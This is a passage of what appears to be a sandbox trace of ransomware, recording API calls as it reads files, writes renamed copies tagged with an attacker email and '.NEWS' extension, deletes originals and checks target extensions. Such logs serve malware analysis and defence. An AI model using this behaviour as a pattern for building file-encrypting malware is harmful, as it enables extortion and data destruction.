lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4050, lpOverlapped=0x0) returned 1 [0092.453] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.454] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xea, lpOverlapped=0x0) returned 1 [0092.454] SetEndOfFile (hFile=0x2f4) returned 1 [0092.454] CloseHandle (hObject=0x2f4) returned 1 [0092.454] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.454] SetEndOfFile (hFile=0x378) returned 1 [0092.455] CloseHandle (hObject=0x378) returned 1 [0092.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.455] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0092.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.455] lstrlenW (lpString=".doc") returned 4 [0092.455] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.455] lstrlenW (lpString=".docx") returned 5 [0092.455] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0092.455] lstrlenW (lpString=".pdf") returned 4 [0092.455] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.455] lstrlenW (lpString=".xls") returned 4 [0092.455] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.455] lstrlenW (lpString=".xlsx") returned 5 [0092.455] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0092.456] lstrlenW (lpString=".ppt") returned 4 [0092.456] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString=".zip") returned 4 [0092.456] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString=".rar") returned 4 [0092.456] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString=".bz2") returned 4 [0092.456] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.456] lstrlenW (lpString=".7z") returned 3 [0092.456] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString=".dbf") returned 4 [0092.456] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString=".1cd") returned 4 [0092.456] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString=".jpg") returned 4 [0092.456] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString=".doc") returned 4 [0092.456] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.456] lstrlenW (lpString=".docx") returned 5 [0092.456] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0092.456] lstrlenW (lpString=".pdf") returned 4 [0092.456] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString=".xls") returned 4 [0092.456] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString=".xlsx") returned 5 [0092.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0092.456] lstrlenW (lpString=".ppt") returned 4 [0092.456] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.456] lstrlenW (lpString=".zip") returned 4 [0092.456] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.457] lstrlenW (lpString=".rar") returned 4 [0092.457] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.457] lstrlenW (lpString=".bz2") returned 4 [0092.457] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.457] lstrlenW (lpString=".7z") returned 3 [0092.457] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.457] lstrlenW (lpString=".dbf") returned 4 [0092.457] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.457] lstrlenW (lpString=".1cd") returned 4 [0092.457] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0092.457] lstrlenW (lpString=".jpg") returned 4 [0092.457] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.457] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.457] lstrlenW (lpString="msvcr100.dll") returned 12 [0092.457] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.458] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=829264) returned 1 [0092.458] CloseHandle (hObject=0x378) returned 1 [0092.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0092.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.458] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0092.458] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.458] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.458] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.458] GetLastError () returned 0x0 [0092.459] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xca750, lpOverlapped=0x0) returned 1 [0092.797] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xca760, lpOverlapped=0x0) returned 1 [0092.812] ReadFile (in: hFile=0x378, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.812] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.812] SetEndOfFile (hFile=0x2f4) returned 1 [0092.812] CloseHandle (hObject=0x2f4) returned 1 [0092.812] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.812] SetEndOfFile (hFile=0x378) returned 1 [0092.819] CloseHandle (hObject=0x378) returned 1 [0092.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.820] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1 [0092.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.820] lstrlenW (lpString=".doc") returned 4 [0092.820] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.820] lstrlenW (lpString=".docx") returned 5 [0092.820] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.820] lstrlenW (lpString=".pdf") returned 4 [0092.820] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.820] lstrlenW (lpString=".xls") returned 4 [0092.820] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.820] lstrlenW (lpString=".xlsx") returned 5 [0092.820] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.820] lstrlenW (lpString=".ppt") returned 4 [0092.820] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.820] lstrlenW (lpString=".zip") returned 4 [0092.820] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.820] lstrlenW (lpString=".rar") returned 4 [0092.820] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString=".bz2") returned 4 [0092.821] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.821] lstrlenW (lpString=".7z") returned 3 [0092.821] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.821] lstrlenW (lpString=".dbf") returned 4 [0092.821] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.821] lstrlenW (lpString=".1cd") returned 4 [0092.821] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.821] lstrlenW (lpString=".jpg") returned 4 [0092.821] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.821] lstrlenW (lpString=".doc") returned 4 [0092.821] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString=".docx") returned 5 [0092.821] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0092.821] lstrlenW (lpString=".pdf") returned 4 [0092.821] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString=".xls") returned 4 [0092.821] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString=".xlsx") returned 5 [0092.821] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0092.821] lstrlenW (lpString=".ppt") returned 4 [0092.821] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.821] lstrlenW (lpString=".zip") returned 4 [0092.821] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString=".rar") returned 4 [0092.821] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.821] lstrlenW (lpString=".bz2") returned 4 [0092.821] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.821] lstrlenW (lpString=".7z") returned 3 [0092.821] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.822] lstrlenW (lpString=".dbf") returned 4 [0092.822] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.822] lstrlenW (lpString=".1cd") returned 4 [0092.822] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0092.822] lstrlenW (lpString=".jpg") returned 4 [0092.822] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.822] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.822] lstrlenW (lpString="jvm.dll") returned 7 [0092.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0093.291] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=8809536) returned 1 [0093.292] CloseHandle (hObject=0x378) returned 1 [0093.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0093.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0093.464] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0093.464] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc64 | out: lpNewFilePointer=0x0) returned 1 [0093.464] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.464] ReadFile (in: hFile=0x378, lpBuffer=0x34e7058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x34e7058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.469] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.469] ReadFile (in: hFile=0x378, lpBuffer=0x3527058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3527058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.477] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x25dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.477] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x25dfc24 | out: lpNewFilePointer=0x0) returned 1 [0093.477] ReadFile (in: hFile=0x378, lpBuffer=0x3567058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x25dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3567058*, lpNumberOfBytesRead=0x25dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.493] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0093.493] WriteFile (in: hFile=0x378, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x25dfca8, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfca8*=0xc00fa, lpOverlapped=0x0) returned 1 [0093.819] SetEndOfFile (hFile=0x378) returned 1 [0093.820] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) Thread: id = 10 os_tid = 0x84c [0060.847] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x5508a0 [0060.847] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x5608a8 [0060.848] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8b60 [0060.848] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e308 [0060.848] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8d40 [0060.848] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x35f1020 [0060.852] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c50 [0060.852] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c50, Size=0x20) returned 0x4ceba8 [0060.852] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bc0 [0060.852] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bc0, Size=0x20) returned 0x4ced38 [0060.852] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.852] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.852] Wow64DisableWow64FsRedirection (in: OldValue=0x2adff50 | out: OldValue=0x2adff50*=0x0) returned 1 [0060.852] lstrlenW (lpString="kernel32.dll") returned 12 [0060.852] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.852] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.852] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.852] Sleep (dwMilliseconds=0x64) [0061.178] lstrcmpiW (lpString1=".cmd", lpString2=".NEWS") returned -1 [0061.178] lstrlenW (lpString="preoobe.cmd") returned 11 [0061.178] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.179] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=74) returned 1 [0061.179] CloseHandle (hObject=0x2f4) returned 1 [0061.179] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0061.179] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.179] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0061.179] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.179] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.179] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0061.179] GetLastError () returned 0x0 [0061.179] ReadFile (in: hFile=0x2f4, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4a, lpOverlapped=0x0) returned 1 [0061.195] WriteFile (in: hFile=0x2f8, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x50, lpOverlapped=0x0) returned 1 [0061.197] ReadFile (in: hFile=0x2f4, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.197] WriteFile (in: hFile=0x2f8, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0061.197] SetEndOfFile (hFile=0x2f8) returned 1 [0061.197] CloseHandle (hObject=0x2f8) returned 1 [0061.198] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.198] SetEndOfFile (hFile=0x2f4) returned 1 [0061.199] CloseHandle (hObject=0x2f4) returned 1 [0061.199] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.200] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0061.200] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.200] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.200] lstrlenW (lpString=".doc") returned 4 [0061.200] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.200] lstrlenW (lpString=".docx") returned 5 [0061.200] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.201] lstrlenW (lpString=".pdf") returned 4 [0061.201] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0061.201] lstrlenW (lpString=".xls") returned 4 [0061.201] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0061.201] lstrlenW (lpString=".xlsx") returned 5 [0061.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0061.201] lstrlenW (lpString=".ppt") returned 4 [0061.201] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0061.201] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.201] lstrlenW (lpString=".zip") returned 4 [0061.201] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0061.201] lstrlenW (lpString=".rar") returned 4 [0061.201] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0061.201] lstrlenW (lpString=".bz2") returned 4 [0061.201] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0061.201] lstrlenW (lpString=".7z") returned 3 [0061.201] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0061.201] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.201] lstrlenW (lpString=".dbf") returned 4 [0061.201] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0061.201] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.201] lstrlenW (lpString=".1cd") returned 4 [0061.201] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0061.201] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.201] lstrlenW (lpString=".jpg") returned 4 [0061.201] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.202] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0061.202] lstrlenW (lpString=".doc") returned 4 [0061.202] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0061.202] lstrlenW (lpString=".docx") returned 5 [0061.202] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0061.202] lstrlenW 